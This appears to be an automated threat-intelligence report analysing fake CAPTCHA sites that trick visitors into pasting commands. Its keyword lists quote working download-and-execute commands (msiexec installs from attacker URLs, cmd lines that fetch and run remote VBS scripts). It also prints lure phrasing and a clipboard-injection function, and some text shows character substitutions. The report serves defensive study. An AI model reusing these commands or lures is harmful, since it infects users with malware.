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High-Impact ClickGrab Campaign: Advanced Analysis of 2026-02-01 Attack Patterns

📅 Published: February 01, 2026 👨‍💻 Author: ClickGrab Threat Intelligence Team 📖 12 min read
99Sites
49%Detection
1PS Downloads

ClickGrab Threat Analysis Report - 2026-02-01

Generated on 2026-02-01 03:48:46

Executive Summary

  • Total sites analyzed: 99
  • Sites with malicious content: 49
  • Unique domains encountered: 308
  • Total URLs extracted: 3,264
  • PowerShell download attempts: 1
  • Clipboard manipulation instances: 268

Domain Analysis

Most Frequently Encountered Domains

  • baovechuyennghiep.baovengayvadem.com: 700 occurrences
  • cf.bstatic.com: 244 occurrences
  • adturekorea.co.kr: 214 occurrences
  • www.booking.com: 204 occurrences
  • www.ccera-icar.org: 178 occurrences
  • 3.71.235.243: 136 occurrences
  • 18.176.47.246: 112 occurrences
  • www.yppgiibandung.org: 102 occurrences
  • 44.208.147.17: 65 occurrences
  • 54.197.245.249: 64 occurrences
  • circlear.grad.hr: 62 occurrences
  • www.google.com: 47 occurrences
  • horvers.net: 42 occurrences
  • i.postimg.cc: 40 occurrences
  • icons.duckduckgo.com: 40 occurrences

URL Pattern Analysis

reCAPTCHA imagery

5 occurrences across 3 distinct URLs

  • https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha (2 times)
  • https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png (2 times)
  • https://www.google.com/recaptcha/api.js?onload=onloadCallback&render=explicit (1 times)

Font resources

38 occurrences across 22 distinct URLs

  • https://fonts.gstatic.com (4 times)
  • http://casa-ananda.cl/wp-content/uploads/et-fonts/Montserrat-Bold.ttf (4 times)
  • http://casa-ananda.cl/wp-content/uploads/et-fonts/Montserrat-Regular.ttf (4 times)
  • https://fonts.googleapis.com (2 times)
  • https://18.176.47.246/wp-content/plugins/vk-post-author-display/vendor/vektor-inc/font-awesome-versions/src/font-awesome/css/all.min.css?ver=7.1.0 (2 times)
  • ...and 17 more distinct URLs

CDN hosted scripts

13 occurrences across 11 distinct URLs

  • https://cdn.jsdelivr.net/npm/bootstrap@5.3.1/dist/css/bootstrap.min.css (2 times)
  • https://cdn.cookielaw.org/scripttemplates/otSDKStub.js (2 times)
  • https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js (1 times)
  • https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js (1 times)
  • https://cdn.jsdelivr.net/npm/three@0.167.0/build/three.module.js (1 times)
  • ...and 6 more distinct URLs

Google resources

67 occurrences across 18 distinct URLs

  • https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent (40 times)
  • https://fonts.googleapis.com (2 times)
  • https://plus.google.com/105443419075154950489 (2 times)
  • https://carrier.booking.com/google/places/webautocompletesimple (2 times)
  • https://www.googletagmanager.com/gtm.js?id=GTM-5Q664QZ (2 times)
  • ...and 13 more distinct URLs

Suspicious Keyword Analysis

Total Keywords Found: 866 (74 unique)

Keyword Categories

Social Engineering

26 unique keywords

  • exec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";
  • captcha verification
  • CAPTCHA Verification
  • command = "msiexec /i https://seo-conference.by/wp-themes/Cioudfiare/Verification/UserID63894525i5832";
  • exec /i https://pizzabyte.com.au/smartdetection/deviceverification/CF/path/captcha";
  • command = "msiexec /i https://shift-art.com/i23/cioudfiare/verify/humanverfification/cioudfiarechaiienge/CustomerID37832738/";
  • robot
  • Verify You Are Human
  • Verification Hash
  • Verification
  • ...and 16 more

System Commands

35 unique keywords

  • Command =windows_command;
  • wscript
  • cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://i98.i3.i58.i27:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
  • Command = cmdEiement.getAttribute('data-reai-command');
  • command = 'cmd /c echo Set h=CreateObject("WinHttp.WinHttpRequest.5.i"):h.Open "GET","http://i98.i3.i58.i27:5506/ny.vbs",0:h.Send:Execute h.ResponseText > "%temp%\\ny.vbs" && "%temp%\\ny.vbs"';
  • command = 'msiexec /i http://inkbookwriters.com/verify /qn';
  • cmd
  • command into PowerSheii and press <kbd>Enter</kbd>.</ii>
  • cmd /c "curi -s http:/i98.i3.i58.i27:5506/dd.vbs -o %temp%\dd.vbs >nui && start /b wscript.exe //B //E:VBScript %temp%\dd.vbs && exit"';
  • exec(
  • ...and 25 more

Verification Text

3 unique keywords

  • ray id
  • Hidden
  • hidden

Technical Terms

10 unique keywords

  • Bypass
  • WinHttpRequest
  • Press Enter
  • XMLHTTP
  • failed_to_retrieve
  • Ray ID
  • iex
  • .exe
  • ResponseText
  • Press CTRL + V

Most Frequent Keywords

  • hidden: 67 occurrences
  • robot: 61 occurrences
  • Robot: 50 occurrences
  • verification: 50 occurrences
  • Verification: 45 occurrences
  • I am not a robot: 44 occurrences
  • Verification ID: 43 occurrences
  • CAPTCHA Verification: 43 occurrences
  • verification-id: 43 occurrences
  • To better prove you are not a robot: 43 occurrences
  • Ray ID: 42 occurrences
  • Verify you are human: 42 occurrences
  • Checking if you are human: 41 occurrences
  • const command =: 41 occurrences
  • cmd: 24 occurrences

Similar Keyword Patterns

Groups of keywords that appear to be variations of the same theme:

Group 1: robot, Robot

Group 2: hidden, Hidden

Group 3: command into PowerSheii and press <kbd>Enter</kbd>.</ii>, command into the terminai and press <kbd>Enter</kbd>.</ii>

Group 4: Verification ID, verification, Verification, verification-ioader, verification-id, verification id, Verification Hash, verification_id

Group 5: Ray ID, ray id

JavaScript Obfuscation Analysis

Obfuscation Sophistication Score: 0/7

Potential Base64 Encoded Content

These strings may contain encoded malicious payloads:

  • com/recaptcha/about/images/reCAPTCHA
  • iVBORw0KGgoAAAANSUhEUgAAAv4AAAMACAYAAABcimNkAAAABm...
  • com/i23/cioudfiare/verify/humanverfification/cioud...
  • iive/iamchaiienge/verification/UserID7383526
  • handleAppleCaptchaChange

Clipboard Manipulation Analysis

Detected clipboard manipulation in 268 instances.

Document.Execcommand Copy

Found in 134 snippets (50.0% of clipboard code)

Examples:

document.execCommand("copy")

try { document.execCommand('copy')

document.execCommand('copy')

Textarea Manipulation

Found in 135 snippets (50.4% of clipboard code)

Examples:

fallbackCopyToClipboard(text) { const textArea = document.createElement("textarea"

tListener("click", function () { const textarea = document.createElement('textarea'

ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"

Complete Malicious Functions

Function 1:

function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }

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